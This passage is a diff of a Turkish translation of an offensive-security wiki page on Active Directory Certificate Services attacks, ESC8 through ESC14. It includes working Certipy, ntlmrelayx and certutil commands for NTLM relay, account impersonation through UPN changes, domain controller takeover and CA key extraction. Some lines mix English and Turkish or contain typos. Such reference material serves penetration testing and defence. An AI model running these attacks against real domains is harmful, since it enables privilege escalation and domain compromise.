SERVER\\CA-NAME --id 1337 ``` -4. Ortaya çıkan sertifika artık kötü amaçlı issuance-policy OID'sini içerir ve sonraki saldırılarda (ör. ESC13, domain escalation vb.) kullanılabilir. +4. Ortaya çıkan sertifika artık kötü amaçlı issuance-policy OID'sini içerir ve sonraki saldırılarda (ör. ESC13, domain yükseltmesi vb.) kullanılabilir. -> NOTE: Aynı saldırı Certipy ≥ 4.7 kullanılarak `ca` komutu ve `-set-extension` parametresiyle de gerçekleştirilebilir. +> NOTE: Aynı saldırı Certipy ≥ 4.7 ile `ca` komutu ve `-set-extension` parametresi kullanılarak da gerçekleştirilebilir. ## NTLM Relay to AD CS HTTP Endpoints – ESC8 ### Açıklama > [!TIP] -> AD CS yüklü ortamlarda, eğer zafiyetli bir **web enrollment endpoint** mevcutsa ve **domain computer enrollment ve client authentication**'a izin veren en az bir **certificate template** yayımlanmışsa (ör. varsayılan **`Machine`** şablonu), spooler servisi etkin olan herhangi bir bilgisayarın bir saldırgan tarafından ele geçirilmesi mümkün hale gelir! +> AD CS'nin yüklü olduğu ortamlarda, eğer bir **web enrollment endpoint** zafiyeti mevcutsa ve en az bir **sertifika şablonu** yayımlanmışsa ve bu şablon **domain computer enrollment ve client authentication** izinlerine sahipse (varsayılan **`Machine`** şablonu gibi), spooler servisi etkin olan herhangi bir bilgisayarın bir saldırgan tarafından ele geçirilmesi mümkün hale gelir! -AD CS, yöneticilerin yükleyebileceği ek sunucu rolleri aracılığıyla sunulan çeşitli **HTTP tabanlı enrollment yöntemlerini** destekler. Bu HTTP tabanlı sertifika enrollment arayüzleri **NTLM relay saldırılarına** açıktır. Bir saldırgan, ele geçirilmiş bir makineden, gelen NTLM ile kimlik doğrulaması yapan herhangi bir AD hesabının taklit edilmesini gerçekleştirebilir. Hedef hesabı taklit ederken, bu web arayüzleri saldırgan tarafından erişilerek `User` veya `Machine` sertifika şablonlarını kullanarak bir client authentication sertifikası talep edilebilir. +AD CS, yöneticilerin kurabileceği ek sunucu rolleri aracılığıyla kullanılabilen birkaç **HTTP tabanlı enrollment yöntemi** destekler. Bu HTTP tabanlı sertifika enrollment arayüzleri **NTLM relay saldırılarına** açıktır. Bir saldırgan, **ele geçirilmiş bir makinadan**, gelen NTLM ile kimlik doğrulayan herhangi bir AD hesabının kimliğine bürünebilir. Mağdur hesabın yerine geçerken, bu web arayüzlerine erişip `User` veya `Machine` sertifika şablonlarını kullanarak **client authentication sertifikası talep edebilir**. -- **Web enrollment interface** (eski bir ASP uygulaması, `http:///certsrv/` adresinde bulunur) varsayılan olarak yalnızca HTTP kullanır; bu da NTLM relay saldırılarına karşı koruma sağlamaz. Ayrıca Authorization HTTP başlığında yalnızca NTLM'yi açıkça kabul eder, bu da Kerberos gibi daha güvenli kimlik doğrulama yöntemlerini devre dışı bırakır. -- **Certificate Enrollment Service** (CES), **Certificate Enrollment Policy** (CEP) Web Service ve **Network Device Enrollment Service** (NDES) Authorization HTTP başlığında varsayılan olarak negotiate kimlik doğrulamasını destekler. Negotiate kimlik doğrulaması Kerberos ve **NTLM**'yi desteklediği için, bir saldırgan relay saldırıları sırasında kimlik doğrulamayı **NTLM'ye düşürebilir**. Bu web servisleri HTTPS'yi varsayılan olarak etkinleştirse de, HTTPS tek başına **NTLM relay saldırılarına karşı koruma sağlamaz**. HTTPS hizmetleri için NTLM relay saldırılarına karşı koruma yalnızca kanal bağlama (channel binding) ile birleştiğinde mümkündür. Ne yazık ki, AD CS IIS üzerinde Extended Protection for Authentication'ı etkinleştirmez; oysa kanal bağlama için bu gereklidir. +- **web enrollment interface** (eski bir ASP uygulaması, `http:///certsrv/` adresinde bulunur) varsayılan olarak yalnızca HTTP kullanır; bu da NTLM relay saldırılarına karşı koruma sağlamaz. Ayrıca Authorization HTTP header'ı aracılığıyla yalnızca NTLM doğrulamasına açık şekilde yapılandırılmıştır, bu da Kerberos gibi daha güvenli yöntemlerin uygulanmasını engeller. +- **Certificate Enrollment Service** (CES), **Certificate Enrollment Policy** (CEP) Web Service ve **Network Device Enrollment Service** (NDES) varsayılan olarak Authorization HTTP header'larında negotiate doğrulamayı destekler. Negotiate doğrulaması hem Kerberos hem de **NTLM**'yi desteklediğinden, bir saldırgan relay saldırıları sırasında doğrulamayı **NTLM'ye düşürebilir**. Bu web servisleri varsayılan olarak HTTPS'yi etkinleştirse de, sadece HTTPS kullanımı **NTLM relay saldırılarına karşı koruma sağlamaz**. HTTPS için NTLM relay saldırılarına karşı koruma, kanal bağlaması (channel binding) ile birleştirildiğinde mümkündür. Ne yazık ki, AD CS IIS üzerinde Extended Protection for Authentication'ı etkinleştirmez; bu da channel binding için gereklidir. -NTLM relay saldırılarıyla ilgili yaygın bir **sorun**, NTLM oturumlarının **kısa süresi** ve saldırganın **NTLM signing** gerektiren hizmetlerle etkileşime girememesidir. +NTLM relay saldırılarında sık görülen bir **sorun**, NTLM oturumlarının **kısa süreli olması** ve saldırganın **NTLM signing** gerektiren servislerle etkileşim kuramamasıdır. -Yine de, bu sınırlama, NTLM relay saldırısı kullanılarak kullanıcı için bir sertifika elde edilerek aşılabilir; çünkü oturum süresini sertifikanın geçerlilik süresi belirler ve sertifika **NTLM signing** gerektiren hizmetlerle kullanılabilir. Çalınmış bir sertifikanın nasıl kullanılacağına dair talimatlar için bakınız: +Buna rağmen, bir NTLM relay saldırısını kullanarak kullanıcı için bir sertifika edinmek bu sınırlamayı aşar; çünkü oturum süresini belirleyen sertifikanın geçerlilik süresidir ve sertifika **NTLM signing** zorunluluğu olan servislerde kullanılabilir. Çalınan bir sertifikanın nasıl kullanılacağına dair talimatlar için bakınız: {{#ref}} account-persistence.md {{#endref}} -NTLM relay saldırılarının bir diğer sınırlaması ise **saldırgan kontrolündeki bir makinenin kurban hesabı tarafından kimlik doğrulaması yapılması gerektiğidir**. Saldırgan ya bekleyebilir ya da bu kimlik doğrulamayı **zorlamaya** çalışabilir: +NTLM relay saldırılarının bir diğer sınırlaması ise **saldırgan kontrolündeki bir makinenin mağdur hesap tarafından kimlik doğrulaması yapılmasını gerektirmesidir**. Saldırgan ya bekleyebilir ya da bu kimlik doğrulamayı **zorlamayı** deneyebilir: {{#ref}} @@ -405,13 +405,13 @@ NTLM relay saldırılarının bir diğer sınırlaması ise **saldırgan kontrol ### **Kötüye Kullanım** -[**Certify**](https://github.com/GhostPack/Certify)’s `cas` etkin **HTTP AD CS uç noktalarını** listeler: +[**Certify**](https://github.com/GhostPack/Certify)’s `cas` komutu **etkin HTTP AD CS uç noktalarını** listeler: ``` Certify.exe cas ```
-`msPKI-Enrollment-Servers` özelliği, kurumsal Sertifika Yetkilileri (CAs) tarafından Sertifika Kayıt Servisi (CES) uç noktalarını depolamak için kullanılır. Bu uç noktalar **Certutil.exe** aracı kullanılarak ayrıştırılıp listelenebilir: +`msPKI-Enrollment-Servers` özelliği, kurumsal Sertifika Yetkilileri (CAs) tarafından Sertifika Kayıt Hizmeti (CES) uç noktalarını depolamak için kullanılır. Bu uç noktalar **Certutil.exe** aracı kullanılarak ayrıştırılabilir ve listelenebilir: ``` certutil.exe -enrollmentServerURL -config DC01.DOMAIN.LOCAL\DOMAIN-CA ``` @@ -437,11 +437,11 @@ proxychains ntlmrelayx.py -t http:///certsrv/certfnsh.asp -smb2sup # Force authentication from victim to compromised machine with port forwards execute-assembly C:\SpoolSample\SpoolSample\bin\Debug\SpoolSample.exe ``` -#### [Certipy](https://github.com/ly4k/Certipy) ile kötüye kullanım +#### [Certipy](https://github.com/ly4k/Certipy) ile istismar -Sertifika isteği, Certipy tarafından varsayılan olarak, iletilen hesap adının `$` ile bitip bitmediğine göre `Machine` veya `User` şablonuna dayanarak yapılır. Alternatif bir şablon belirtilmesi `-template` parametresinin kullanımıyla sağlanabilir. +Bir sertifika isteği, varsayılan olarak Certipy tarafından `Machine` veya `User` şablonuna göre yapılır; bu, relay edilen hesap adının `$` ile bitip bitmediğine göre belirlenir. Alternatif bir şablon belirtimi `-template` parametresi kullanılarak yapılabilir. -Bunun ardından doğrulamayı zorlamak için [PetitPotam](https://github.com/ly4k/PetitPotam) gibi bir teknik kullanılabilir. Domain controller'larla çalışılırken `-template DomainController` belirtilmesi gerekir. +[PetitPotam](https://github.com/ly4k/PetitPotam) gibi bir teknik kimlik doğrulamayı zorlamak için kullanılabilir. Etki alanı denetleyicileri ile uğraşıldığında `-template DomainController` belirtilmesi gerekir. ```bash certipy relay -ca ca.corp.local Certipy v4.0.0 - by Oliver Lyak (ly4k) @@ -454,44 +454,44 @@ Certipy v4.0.0 - by Oliver Lyak (ly4k) [*] Saved certificate and private key to 'administrator.pfx' [*] Exiting... ``` -## No Security Extension - ESC9 +## Güvenlik Uzantısı Yok - ESC9 -### Explanation +### Açıklama -Yeni değer **`CT_FLAG_NO_SECURITY_EXTENSION`** (`0x80000`) için **`msPKI-Enrollment-Flag`**, ESC9 olarak adlandırılır ve bir sertifikaya **yeni `szOID_NTDS_CA_SECURITY_EXT` security extension**'ın gömülmesini engeller. Bu bayrak, `StrongCertificateBindingEnforcement` `1` olarak ayarlandığında (varsayılan) önem kazanır; bu durum `2` ile olan ayarla çelişir. Daha zayıf bir sertifika eşlemesinin Kerberos veya Schannel için istismar edilebileceği senaryolarda (ESC10'dakine benzer) bu bayrağın önemi artar; çünkü ESC9 yokluğunda gereksinimler değişmeyecektir. +Yeni değer **`CT_FLAG_NO_SECURITY_EXTENSION`** (`0x80000`) için **`msPKI-Enrollment-Flag`**, ESC9 olarak adlandırılan, bir sertifikaya **yeni `szOID_NTDS_CA_SECURITY_EXT` güvenlik uzantısının** gömülmesini engeller. Bu bayrak, `StrongCertificateBindingEnforcement` `1` olarak ayarlandığında (varsayılan ayar) önem kazanır; bu, `2` ile olan duruma karşıtlık oluşturur. Daha zayıf bir sertifika eşlemesinin Kerberos veya Schannel için sömürülebileceği senaryolarda (ESC10 gibi) ESC9'un yokluğunun gereksinimleri değiştirmeyeceği göz önünde bulundurulduğunda önemi artar. -Bu bayrağın ayarının anlamlı hale geldiği koşullar şunlardır: +Bu bayrağın ayarının önemli hale geldiği koşullar şunlardır: -- `StrongCertificateBindingEnforcement` `2` olarak ayarlanmamış (varsayılan `1`) veya `CertificateMappingMethods` içinde `UPN` bayrağı bulunuyor. -- Sertifika `msPKI-Enrollment-Flag` ayarında `CT_FLAG_NO_SECURITY_EXTENSION` bayrağı ile işaretlenmiş. -- Sertifika herhangi bir client authentication EKU'su belirtiyor. -- Başka bir hesabı ele geçirmek için herhangi bir hesap üzerinde `GenericWrite` izinleri mevcut. +- `StrongCertificateBindingEnforcement` `2` olarak ayarlanmamıştır (varsayılan `1`dir) veya `CertificateMappingMethods` içinde `UPN` bayrağı bulunmaktadır. +- Sertifika `msPKI-Enrollment-Flag` ayarında `CT_FLAG_NO_SECURITY_EXTENSION` bayrağıyla işaretlenmiştir. +- Sertifika tarafından herhangi bir client authentication EKU belirtilmiştir. +- Başka bir hesabı ele geçirmek için herhangi bir hesap üzerinde `GenericWrite` izinleri mevcuttur. -### Abuse Scenario +### Kötüye Kullanım Senaryosu -Farz edelim `John@corp.local`, `Jane@corp.local` üzerinde `GenericWrite` izinlerine sahip ve hedefi `Administrator@corp.local` hesabını ele geçirmek. `Jane@corp.local`'ın enroll olmaya izinli olduğu `ESC9` sertifika şablonu, `msPKI-Enrollment-Flag` ayarında `CT_FLAG_NO_SECURITY_EXTENSION` bayrağıyla yapılandırılmıştır. +Varsayalım ki `John@corp.local`, `Jane@corp.local` üzerinde `GenericWrite` izinlerine sahiptir ve amacı `Administrator@corp.local`'ı ele geçirmektir. `Jane@corp.local`'ın enroll olmasına izin verilen ESC9 sertifika şablonu, `msPKI-Enrollment-Flag` ayarında `CT_FLAG_NO_SECURITY_EXTENSION` bayrağı ile yapılandırılmıştır. -Başlangıçta, `John`'un `GenericWrite` sayesinde `Jane`'in hash'i Shadow Credentials kullanılarak elde edilir: +Başlangıçta, Jane'in hash'i Shadow Credentials kullanılarak elde edilir, John'un `GenericWrite` izni sayesinde: ```bash certipy shadow auto -username John@corp.local -password Passw0rd! -account Jane ``` -Daha sonra, `Jane`'in `userPrincipalName`'ı kasıtlı olarak `@corp.local` alan adı kısmı atlanarak `Administrator` olarak değiştirilir: +Ardından, `Jane`'in `userPrincipalName` değeri kasıtlı olarak `Administrator` olarak değiştirilir; `@corp.local` alan adı kısmı bilerek atlanmıştır: ```bash certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Administrator ``` -Bu değişiklik, `Administrator@corp.local`'un `Administrator`'ın `userPrincipalName`'ı olarak ayrı kalması koşuluyla kısıtlamaları ihlal etmez. +Bu değişiklik, `Administrator@corp.local`'un `Administrator`'ın `userPrincipalName` olarak farklı kalması göz önüne alındığında kısıtlamaları ihlal etmez. -Bunun ardından, zafiyetli olarak işaretlenen `ESC9` sertifika şablonu, `Jane` olarak istenir: +Bunun ardından, zafiyetli olarak işaretlenmiş `ESC9` sertifika şablonu, `Jane` olarak istenir: ```bash certipy req -username jane@corp.local -hashes -ca corp-DC-CA -template ESC9 ``` -Sertifikadaki `userPrincipalName`'in `Administrator`'ı yansıttığı ve herhangi bir “object SID” içermediği not edilir. +Sertifikadaki `userPrincipalName`'ın `Administrator` olarak göründüğü ve herhangi bir “object SID” içermediği görülür. -`Jane`'in `userPrincipalName` daha sonra orijinaline, `Jane@corp.local`'a geri döndürülür: +`Jane`'in `userPrincipalName`'ı daha sonra orijinali `Jane@corp.local` olarak geri döndürülür: ```bash certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Jane@corp.local ``` -İhraç edilen sertifika ile yapılan kimlik doğrulaması denemesi artık `Administrator@corp.local` hesabının NT hash'ini veriyor. Sertifika domain belirtmediği için komutun `-domain ` içermesi gerekiyor: +Verilen sertifika ile kimlik doğrulamaya çalışmak artık `Administrator@corp.local`'ın NT hash'ini döndürüyor. Sertifikada domain belirtilmemesi nedeniyle komutta `-domain ` bulunmalıdır: ```bash certipy auth -pfx adminitrator.pfx -domain corp.local ``` @@ -499,50 +499,50 @@ certipy auth -pfx adminitrator.pfx -domain corp.local ### Açıklama -ESC10, etki alanı denetleyicisindeki iki kayıt defteri anahtar değerine atıfta bulunur: +ESC10, etki alanı denetleyicisi üzerinde iki kayıt defteri değeri ile ilgilidir: -- `HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Schannel` altında `CertificateMappingMethods` için varsayılan değer `0x18` (`0x8 | 0x10`), önceden `0x1F` olarak ayarlanmıştı. -- `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc` altında `StrongCertificateBindingEnforcement` için varsayılan ayar `1`, önceden `0` idi. +- The default value for `CertificateMappingMethods` under `HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\SecurityProviders\Schannel` is `0x18` (`0x8 | 0x10`), previously set to `0x1F`. +- The default setting for `StrongCertificateBindingEnforcement` under `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\Kdc` is `1`, previously `0`. -**Durum 1** +**Vaka 1** -`StrongCertificateBindingEnforcement` `0` olarak yapılandırıldığında. +When `StrongCertificateBindingEnforcement` is configured as `0`. -**Durum 2** +**Vaka 2** -`CertificateMappingMethods` `UPN` bitini (`0x4`) içeriyorsa. +If `CertificateMappingMethods` includes the `UPN` bit (`0x4`). -### Kötüye Kullanım Durumu 1 +### Kötüye Kullanım Vaka 1 -`StrongCertificateBindingEnforcement` `0` olarak yapılandırıldığında, `GenericWrite` izinlerine sahip bir hesap A, herhangi bir hesap B'yi ele geçirmek için suistimal edilebilir. +With `StrongCertificateBindingEnforcement` configured as `0`, an account A with `GenericWrite` permissions can be exploited to compromise any account B. -Örneğin, `Jane@corp.local` üzerinde `GenericWrite` izinlerine sahip olan bir saldırganın amacı `Administrator@corp.local`'ı ele geçirmek olabilir. Prosedür ESC9 ile aynıdır ve herhangi bir certificate template'in kullanılmasına izin verir. +For instance, having `GenericWrite` permissions over `Jane@corp.local`, an attacker aims to compromise `Administrator@corp.local`. The procedure mirrors ESC9, allowing any certificate template to be utilized. -İlk olarak, `GenericWrite`'ı suistimal ederek Shadow Credentials kullanılarak Jane'in hash'i elde edilir. +Initially, `Jane`'s hash is retrieved using Shadow Credentials, exploiting the `GenericWrite`. ```bash certipy shadow autho -username John@corp.local -p Passw0rd! -a Jane ``` -Ardından `Jane`'in `userPrincipalName` değeri, bir kısıtlama ihlalini önlemek için `@corp.local` kısmı kasıtlı olarak atlanarak `Administrator` olarak değiştirilir. +Sonrasında, `Jane`'s `userPrincipalName` `Administrator` olarak değiştirilir; kısıtlama ihlalinden kaçınmak için `@corp.local` kısmı kasıtlı olarak atlanır. ```bash certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Administrator ``` -Bunun ardından, varsayılan `User` şablonu kullanılarak `Jane` olarak istemci kimlik doğrulamasına izin veren bir sertifika talep edilir. +Bunun ardından, varsayılan `User` şablonu kullanılarak `Jane` adına istemci kimlik doğrulamasını sağlayan bir sertifika talep edilir. ```bash certipy req -ca 'corp-DC-CA' -username Jane@corp.local -hashes ``` -`Jane`'in `userPrincipalName` daha sonra orijinaline, `Jane@corp.local`, geri döndürülür. +`Jane`'s `userPrincipalName` daha sonra orijinal değeri olan `Jane@corp.local` olarak geri döndürülür. ```bash certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn Jane@corp.local ``` -Elde edilen sertifika ile kimlik doğrulaması, `Administrator@corp.local`'in NT hash'ini verecek; sertifikada domain bilgisi bulunmadığı için komutta domain'in belirtilmesi gerekir. +Elde edilen sertifikayla yapılan kimlik doğrulaması, `Administrator@corp.local`'ın NT hash'ini sağlayacaktır; sertifikada domain bilgisi bulunmadığı için komutta domainin belirtilmesi gerekir. ```bash certipy auth -pfx administrator.pfx -domain corp.local ``` -### Kötüye Kullanım Durumu 2 +### Suistimal Durumu 2 -`CertificateMappingMethods` içinde `UPN` bit bayrağı (`0x4`) bulunduğunda, `GenericWrite` izinlerine sahip bir A hesabı, `userPrincipalName` özelliğine sahip olmayan herhangi bir B hesabını (makine hesapları ve yerleşik domain yöneticisi `Administrator` dahil) ele geçirebilir. +`CertificateMappingMethods` içinde `UPN` bit bayrağı (`0x4`) bulunduğunda, `GenericWrite` izinlerine sahip bir A hesabı, `userPrincipalName` özelliği olmayan herhangi bir B hesabını ele geçirebilir; buna makine hesapları ve yerleşik domain yöneticisi `Administrator` da dahildir. -Burada amaç, `GenericWrite`'i kullanarak Shadow Credentials aracılığıyla `Jane`'in hash'ini elde etmekle başlayıp `DC$@corp.local`'ı ele geçirmek. +Burada amaç, `GenericWrite`'i kullanarak Shadow Credentials ile `Jane`'in hash'ini elde etmekle başlayarak `DC$@corp.local`'ı ele geçirmektir. ```bash certipy shadow auto -username John@corp.local -p Passw0rd! -account Jane ``` @@ -550,31 +550,31 @@ certipy shadow auto -username John@corp.local -p Passw0rd! -account Jane ```bash certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn 'DC$@corp.local' ``` -İstemci kimlik doğrulaması için bir sertifika, varsayılan `User` şablonu kullanılarak `Jane` olarak talep edilir. +İstemci kimlik doğrulaması için bir sertifika, varsayılan `User` şablonu kullanılarak `Jane` adına istendi. ```bash certipy req -ca 'corp-DC-CA' -username Jane@corp.local -hashes ``` -`Jane`'in `userPrincipalName` bu işlemden sonra orijinaline geri döner. +`Jane`'in `userPrincipalName` değeri bu işlemden sonra orijinaline geri döner. ```bash certipy account update -username John@corp.local -password Passw0rd! -user Jane -upn 'Jane@corp.local' ``` -Schannel üzerinden kimlik doğrulaması yapmak için Certipy’nin `-ldap-shell` seçeneği kullanılır; kimlik doğrulama başarısı `u:CORP\DC$` olarak gösterilir. +Schannel üzerinden kimlik doğrulaması yapmak için Certipy’nin `-ldap-shell` seçeneği kullanılır; bu, kimlik doğrulamanın `u:CORP\DC$` olarak başarılı olduğunu gösterir. ```bash certipy auth -pfx dc.pfx -dc-ip 172.16.126.128 -ldap-shell ``` -LDAP kabuğu aracılığıyla, `set_rbcd` gibi komutlar Resource-Based Constrained Delegation (RBCD) saldırılarına olanak tanır ve potansiyel olarak etki alanı denetleyicisini tehlikeye atar. +LDAP shell üzerinden, `set_rbcd` gibi komutlar Resource-Based Constrained Delegation (RBCD) saldırılarına olanak sağlar ve potansiyel olarak domain controller'ı ele geçirebilir. ```bash certipy auth -pfx dc.pfx -dc-ip 172.16.126.128 -ldap-shell ``` -This vulnerability also extends to any user account lacking a `userPrincipalName` or where it does not match the `sAMAccountName`, with the default `Administrator@corp.local` being a prime target due to its elevated LDAP privileges and the absence of a `userPrincipalName` by default. +Bu zafiyet, `userPrincipalName` eksik olan veya `sAMAccountName` ile eşleşmeyen herhangi bir kullanıcı hesabına da yayılır; varsayılan `Administrator@corp.local`, varsayılan olarak `userPrincipalName`'e sahip olmaması ve yükseltilmiş LDAP ayrıcalıkları nedeniyle başlıca hedeftir. ## Relaying NTLM to ICPR - ESC11 -### Açıklama +### Explanation -If CA Server Do not configured with `IF_ENFORCEENCRYPTICERTREQUEST`, it can be makes NTLM relay attacks without signing via RPC service. [Reference in here](https://blog.compass-security.com/2022/11/relaying-to-ad-certificate-services-over-rpc/). +CA Server `IF_ENFORCEENCRYPTICERTREQUEST` ile yapılandırılmamışsa, RPC servisi üzerinden imzalama olmadan NTLM relay saldırıları yapılabilir. [Reference in here](https://blog.compass-security.com/2022/11/relaying-to-ad-certificate-services-over-rpc/). -`certipy` ile `Enforce Encryption for Requests`'ın Disabled (devre dışı) olup olmadığını sayımlayabilirsiniz; certipy `ESC11` Vulnerabilities'i gösterecektir. +`certipy`'yi, `Enforce Encryption for Requests`'in devre dışı (Disabled) olup olmadığını listelemek için kullanabilirsiniz ve certipy `ESC11` zafiyetlerini gösterecektir. ```bash $ certipy find -u mane@domain.local -p 'password' -dc-ip 192.168.100.100 -stdout Certipy v4.0.0 - by Oliver Lyak (ly4k) @@ -591,9 +591,9 @@ Enforce Encryption for Requests : Disabled ESC11 : Encryption is not enforced for ICPR requests and Request Disposition is set to Issue ``` -### Kötüye Kullanım Senaryosu +### Abuse Scenario -Relay server kurması gerekir: +Bir relay server kurması gerekiyor: ```bash $ certipy relay -target 'rpc://DC01.domain.local' -ca 'DC01-CA' -dc-ip 192.168.100.100 Certipy v4.7.0 - by Oliver Lyak (ly4k) @@ -612,29 +612,29 @@ Certipy v4.7.0 - by Oliver Lyak (ly4k) [*] Saved certificate and private key to 'administrator.pfx' [*] Exiting... ``` -Not: Domain denetleyicileri için, DomainController içinde `-template` belirtmemiz gerekiyor. +Not: Etki alanı denetleyicileri için DomainController içinde `-template` belirtmeliyiz. Veya [sploutchy's fork of impacket](https://github.com/sploutchy/impacket) : ```bash $ ntlmrelayx.py -t rpc://192.168.100.100 -rpc-mode ICPR -icpr-ca-name DC01-CA -smb2support ``` -## Shell access to ADCS CA with YubiHSM - ESC12 +## YubiHSM ile ADCS CA'ya shell erişimi - ESC12 ### Açıklama -Yöneticiler, Sertifika Yetkilisi'ni (Certificate Authority) Yubico YubiHSM2 gibi bir harici cihaza depolamak üzere yapılandırabilirler. +Yöneticiler Sertifika Yetkilisi'ni (Certificate Authority) "Yubico YubiHSM2" gibi harici bir cihaza depolayacak şekilde yapılandırabilirler. -CA sunucusuna USB portu aracılığıyla bağlı bir USB cihazı varsa, veya CA sunucusu bir virtual machine ise bir USB device server kullanılıyorsa, Key Storage Provider'ın YubiHSM içinde anahtar üretmek ve kullanmak için bir kimlik doğrulama anahtarına (bazı durumlarda "password" olarak adlandırılır) ihtiyacı vardır. +CA sunucusuna bir USB portu aracılığıyla doğrudan bir USB cihazı bağlanmışsa veya CA sunucusu bir sanal makine ise bir USB device server aracılığıyla bağlıysa, Key Storage Provider'ın YubiHSM içinde anahtar oluşturup kullanabilmesi için bir kimlik doğrulama anahtarı (bazen "password" olarak anılır) gereklidir. -Bu anahtar/password, kayıt defterinde `HKEY_LOCAL_MACHINE\SOFTWARE\Yubico\YubiHSM\AuthKeysetPassword` altında açık metin (cleartext) olarak saklanır. +Bu anahtar/parola kayıt defterinde `HKEY_LOCAL_MACHINE\SOFTWARE\Yubico\YubiHSM\AuthKeysetPassword` altında düz metin (cleartext) olarak saklanır. -Referans: [here](https://pkiblog.knobloch.info/esc12-shell-access-to-adcs-ca-with-yubihsm). +Reference in [here](https://pkiblog.knobloch.info/esc12-shell-access-to-adcs-ca-with-yubihsm). ### Kötüye Kullanım Senaryosu -Eğer CA'nın özel anahtarı fiziksel bir USB cihazında saklanıyorsa ve sizde shell erişimi varsa, anahtarı kurtarmak mümkün olabilir. +Eğer CA'nın özel anahtarı fiziksel bir USB cihazında saklanıyorsa ve siz shell erişimi elde ettiyseniz, anahtarı kurtarmak mümkündür. -İlk olarak, CA sertifikasını edinmeniz gerekir (bu herkese açıktır) ve sonra: +İlk olarak CA sertifikasını elde etmeniz gerekir (bu herkese açıktır) ve sonra: ```cmd # import it to the user store with CA certificate $ certutil -addstore -user my @@ -642,17 +642,17 @@ $ certutil -addstore -user my # Associated with the private key in the YubiHSM2 device $ certutil -csp "YubiHSM Key Storage Provider" -repairstore -user my ``` -Son olarak, CA sertifikası ve özel anahtarını kullanarak yeni bir sertifika sahtelemek için certutil `-sign` komutunu kullanın. +Son olarak, CA sertifikası ve onun özel anahtarı kullanılarak yeni, keyfi bir sertifika oluşturmak için certutil `-sign` komutunu kullanın. ## OID Group Link Abuse - ESC13 -### Explanation +### Açıklama -`msPKI-Certificate-Policy` özniteliği, sertifika şablonuna sertifika verme politikasının eklenmesini sağlar. Politika verme işlemlerinden sorumlu `msPKI-Enterprise-Oid` nesneleri, PKI OID konteynerinin Configuration Naming Context (CN=OID,CN=Public Key Services,CN=Services) içinde keşfedilebilir. Bir politika, bu nesnenin `msDS-OIDToGroupLink` özniteliği kullanılarak bir AD grubuna bağlanabilir; böylece sistem sertifikayı sunan kullanıcıyı sanki grubun üyesiymiş gibi yetkilendirebilir. [Reference in here](https://posts.specterops.io/adcs-esc13-abuse-technique-fda4272fbd53). +`msPKI-Certificate-Policy` özniteliği, sertifika şablonuna bir verme politikasının eklenmesine izin verir. Verme politikalarından sorumlu `msPKI-Enterprise-Oid` nesneleri, PKI OID kapsayıcısının Configuration Naming Context'inde (CN=OID,CN=Public Key Services,CN=Services) keşfedilebilir. Bir politika, bu nesnenin `msDS-OIDToGroupLink` özniteliği kullanılarak bir AD grubuna bağlanabilir; böylece sertifikayı sunan bir kullanıcı, grubun bir üyesiymiş gibi yetkilendirilebilir. [Reference in here](https://posts.specterops.io/adcs-esc13-abuse-technique-fda4272fbd53). -Başka bir deyişle, bir kullanıcının sertifika kaydetme izni varsa ve sertifika bir OID grubuna bağlıysa, kullanıcı bu grubun ayrıcalıklarını devralabilir. +Diğer bir deyişle, bir kullanıcının sertifika enroll etme izni varsa ve sertifika bir OID grubuna bağlıysa, kullanıcı bu grubun ayrıcalıklarını devralabilir. -Use [Check-ADCSESC13.ps1](https://github.com/JonasBK/Powershell/blob/master/Check-ADCSESC13.ps1) to find OIDToGroupLink: +OIDToGroupLink'i bulmak için [Check-ADCSESC13.ps1](https://github.com/JonasBK/Powershell/blob/master/Check-ADCSESC13.ps1) kullanın: ```bash Enumerating OIDs ------------------------ @@ -676,47 +676,47 @@ OID msDS-OIDToGroupLink: CN=VulnerableGroup,CN=Users,DC=domain,DC=local ``` ### Kötüye Kullanım Senaryosu -Kullanıcının kullanabileceği bir izni bulmak için `certipy find` veya `Certify.exe find /showAllPermissions` kullanın. +Bir kullanıcının hangi izne sahip olduğunu bulmak için `certipy find` veya `Certify.exe find /showAllPermissions` kullanılabilir. Eğer `John`'un `VulnerableTemplate`'a enroll izni varsa, kullanıcı `VulnerableGroup` grubunun ayrıcalıklarını devralabilir. -Yapması gereken tek şey şablonu belirtmek; bu, OIDToGroupLink haklarına sahip bir sertifika almasını sağlar. +Yapması gereken tek şey şablonu belirtmektir; böylece OIDToGroupLink haklarına sahip bir sertifika alacaktır. ```bash certipy req -u "John@domain.local" -p "password" -dc-ip 192.168.100.100 -target "DC01.domain.local" -ca 'DC01-CA' -template 'VulnerableTemplate' ``` -## Zayıf Sertifika Yenileme Yapılandırması- ESC14 +## Zayıf Sertifika Yenileme Yapılandırması - ESC14 ### Açıklama -https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc14-weak-explicit-certificate-mapping adresindeki açıklama son derece kapsamlıdır. Aşağıda orijinal metinden bir alıntı bulunmaktadır. +https://github.com/ly4k/Certipy/wiki/06-%E2%80%90-Privilege-Escalation#esc14-weak-explicit-certificate-mapping adresindeki açıklama olağanüstü ayrıntılıdır. Aşağıda orijinal metinden bir alıntı yer almaktadır. -ESC14, esas olarak Active Directory kullanıcı veya bilgisayar hesaplarındaki `altSecurityIdentities` özniteliğinin hatalı veya güvensiz yapılandırılmasından kaynaklanan "zayıf explicit certificate mapping" (zayıf açık sertifika eşlemesi) zafiyetlerini ele alır. Bu çok-değerli öznitelik yöneticilerin bir AD hesabını kimlik doğrulama amacıyla manuel olarak X.509 sertifikalarıyla ilişkilendirmesine izin verir. Doldurulduğunda, bu explicit eşlemeler tipik olarak sertifikanın SAN içindeki UPN'lere veya DNS isimlerine ya da `szOID_NTDS_CA_SECURITY_EXT` güvenlik uzantısına gömülü SID'e dayanan varsayılan sertifika eşleme mantığını geçersiz kılabilir. +ESC14, özellikle Active Directory kullanıcı veya bilgisayar hesaplarındaki `altSecurityIdentities` özniteliğinin kötüye kullanımı veya güvensiz yapılandırılması nedeniyle ortaya çıkan "weak explicit certificate mapping" zafiyetlerini ele alır. Bu çok değerli öznitelik, yöneticilere X.509 sertifikalarını kimlik doğrulama amacıyla bir AD hesabına manuel olarak 